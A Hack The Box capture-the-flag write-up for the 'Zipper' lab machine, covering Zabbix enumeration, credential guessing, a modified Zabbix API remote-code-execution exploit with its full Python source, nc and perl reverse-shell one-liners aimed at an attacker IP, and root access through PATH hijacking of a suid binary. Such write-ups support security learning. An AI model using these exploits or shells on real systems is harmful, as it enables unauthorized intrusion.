Hack The Box - Zipper
source link: https://www.tuicool.com/articles/hit/AfUJbur
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Quick Sumarry
Hey guys today Zipper retired and here’s my write-up. Owning user on this box was challenging because we have to exploit an RCE vulnerability which is not really easy and then we have to get a stable shell to be able to enumerate, for the privilege escalation it was easy but I also liked it because it was a binary exploitation. It was a very fun box and I liked it. It’s a linux box and its ip is 10.10.10.108
, I added it to /etc/hosts
as zipper.htb
. Let’s jump right in.
Nmap
As always we will start with nmap to scan for open ports and services :
nmap -sV -sT -sC zipper.htb
We only get 2 ports , http on port 80 and ssh on port 22. so we are going to check http
HTTP enumeration
By visiting zipper.htb
we get the default apache2 page :
So I’m going to run gobuster
with directory-list-2.3-medium.txt
to see if there are any sub directories :
gobuster -u http://zipper.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Output :
===================================================== Gobuster v2.0.0 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://zipper.htb/ [+] Threads : 100 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes : 200,204,301,302,307,403 [+] Timeout : 4m10s ===================================================== 2019/02/22 08:50:38 Starting gobuster ===================================================== /zabbix (Status: 301)
We got /zabbix
, let’s look at that in the browser :
We get this login page , we don’t have credentials but down there there’s an option to sign in as a guest , but before we do that let’s get an idea about zabbix
Zabbix is an open-source monitoring software tool for diverse IT components, including networks, servers, virtual machines and cloud services. Zabbix provides monitoring metrics, among others network utilization, CPU load and disk space consumption. - Wikipedia
So basically it’s a server monitoring tool , let’s login as a guest and see what we can get
We get this dashboard , but we are not privileged to do anything because we are guest
After some enumeration we will notice in : Monitoring –> Latest data , Zapper's Backup Script
Now we have a potential username : zapper
, we can try to brute force or fuzz the password , but a quick guess worked for me , the username is the password zapper : zapper
GUI access disabled
, on exploit-db there’s an authenticated remote code execution exploit for an old version of zabbix , check it here , Unfortunately valid credentials are not enough to exploit it , if we take a look here :
We also need hostid
, and to get that we need to get GUI access
GUI access through zabbix-cli
There’s a cli tool for zabbix on github , we can use it to gain GUI access. Installation and configuration is simple you will get the source from github then install it with install.py install
then you will create a conf
file for it by executing zabbix-cli --config
, it will be saved in $HOME/.zabbix-cli/zabbix-cli.conf
, open the conf
file and in Zabbix API section add this line zabbix_api_url=http://10.10.10.108/zabbix
. For details read the documentation here
Then we will run zabbix-cli
it will ask for a username and a password , we already have them zapper : zapper
if we executed show_usergroups
we will see that zapper
is in a group called No access to the fronted
and GUI access to that group is disabled
We will create a new group and call it guiaccess
and leave GUI access as system default
create_usergroup
Then we will add zapper
to that group and delete him from No access to the fronted
add_user_to_usergroup
remove_user_from_usergroup
Now if we try to login again as zapper
we will get the dashboard :
RCE and getting user
From Configuration –> Hosts we have 2 hosts and the second one is the availabe one :
If we click on it we will get an edit page , but we will notice that the host id
is included in the url as a GET parameter :
Now we can edit the python exploit and add the host id : 10106
, this is how the basic login info in the script will look like :
And we get a decent shell , but this shell executes commands through API requests which is not efficient , so we will get a reverse shell like this :
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f
I got this shell from payload all the things
Problem is , we will find that we are in a docker container , and that’s actually a bad rabbit hole and when I was doing this box for the first time i spent a lot of time trying to escape this docker container , And eventually i found out that this is the wrong server.
If we take a look at this page from zabbix documentation , this part :
there’s an option called execute_on
, which has 2 possible values : 0
to execute on zabbix agent , and 1
to execute on zabbix server. We don’t have that option included in the exploit so we are using the default option 1
which means we are executing commands on zabbix server. So we will edit the exploit json data and add "execute_on" : "0"
in those 2 parts :
After that we will run the exploit again and now it will run on the right server , however the shell that we used before didn’t work and died immediately because the exploit crashed for some reason , I had to comment out the last line which prints the result : print cmd_exe["result"]["value"]
, but it didn’t fix it , so I tried some other shells and the perl
one worked :
perl -e 'use Socket;$i="10.10.xx.xx";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Then I used used python3
pty to get a proper shell , python2 didn’t exist on the server
Final exploit after edits :
#!/usr/bin/python # -*- coding: utf-8 -*- # Exploit Title: Zabbix RCE with API JSON-RPC # Date: 06-06-2016 # Exploit Author: Alexander Gurin # Vendor Homepage: http://www.zabbix.com # Software Link: http://www.zabbix.com/download.php # Version: 2.2 - 3.0.3 # Tested on: Linux (Debian, CentOS) # CVE : N/A import requests import json import readline ZABIX_ROOT = 'http://10.10.10.108/zabbix' ### Zabbix IP-address url = ZABIX_ROOT + '/api_jsonrpc.php' ### Don't edit login = 'zapper' ### Zabbix login password = 'zapper' ### Zabbix password hostid = '10106' ### Zabbix hostid ### auth payload = { "jsonrpc" : "2.0", "method" : "user.login", "params": { 'user': ""+login+"", 'password': ""+password+"", }, "auth" : None, "id" : 0, } headers = { 'content-type': 'application/json', } auth = requests.post(url, data=json.dumps(payload), headers=(headers)) auth = auth.json() while True: cmd = raw_input('\033[41m[zabbix_cmd]>>: \033[0m ') if cmd == "" : print "Result of last command:" if cmd == "quit" : break ### update payload = { "jsonrpc": "2.0", "method": "script.update", "params": { "scriptid": "1", "command": ""+cmd+"", "execute_on" : "0" }, "auth" : auth['result'], "id" : 0, } cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers)) ### execute payload = { "jsonrpc": "2.0", "method": "script.execute", "params": { "scriptid": "1", "hostid": ""+hostid+"" }, "auth" : auth['result'], "id" : 0, "execute_on" : "1" } cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers)) cmd_exe = cmd_exe.json() # print cmd_exe["result"]["value"]
First thing we will notice that we are zabbix
and in /home
there’s a directory for the user zapper
We can’t read user.txt
and we can’t go into .ssh
There’s another directory called utils
which contains 2 files , backup.sh
and zabbix-service
cat backup.sh
We see that it has a hardcoded password in it : ZippityDoDah
, we can try to su
to zapper with that password
And it worked , now we can get the ssh key from .ssh
and have ssh connection
And we owned user !
Privilege Escalation and getting root
If we take a look at the utils
directory again and execute zabbix-service
:
It asks us start or stop? then it executes something and exits , we will check if that binary is a suid binary :
find /home/zapper/utils -perm -4000
It’s a suid binary , we need to know what is it doing. Without reverse engineering , strings
was enough :
strings zabbix-service
This command is being executed when we type start
: systemctl daemon-reload && systemctl start zabbix-agent
, so what are we going to do is the same as we did inDab , the only difference is in dab we hijacked a shared library that the binary used , but here we will hijack a binary. By default systemctl
points to /bin/systemctl
We will create a c
program to execute /bin/bash
:
Then we will compile it with gcc : gcc exploit.c -o systemctl
Now we have our fake binary ready :
We will add /home/zapper/utils
as the first entry in PATH
env variable , so the system will look there first :
export PATH=/home/zapper/utils:$PATH
This is changing the PATH
variable to /home/zapper/utils:
+ the old path
Now systemctl
points to our fake binary , let’s run zabbix-service
:
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read theprevious write-ups , Tweet about the write-up if you liked it , follow on twitter for awesome resources @Ahm3d_H3sham
Thanks for reading.
Previous Hack The Box write-up :Hack The Box - Giddy
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK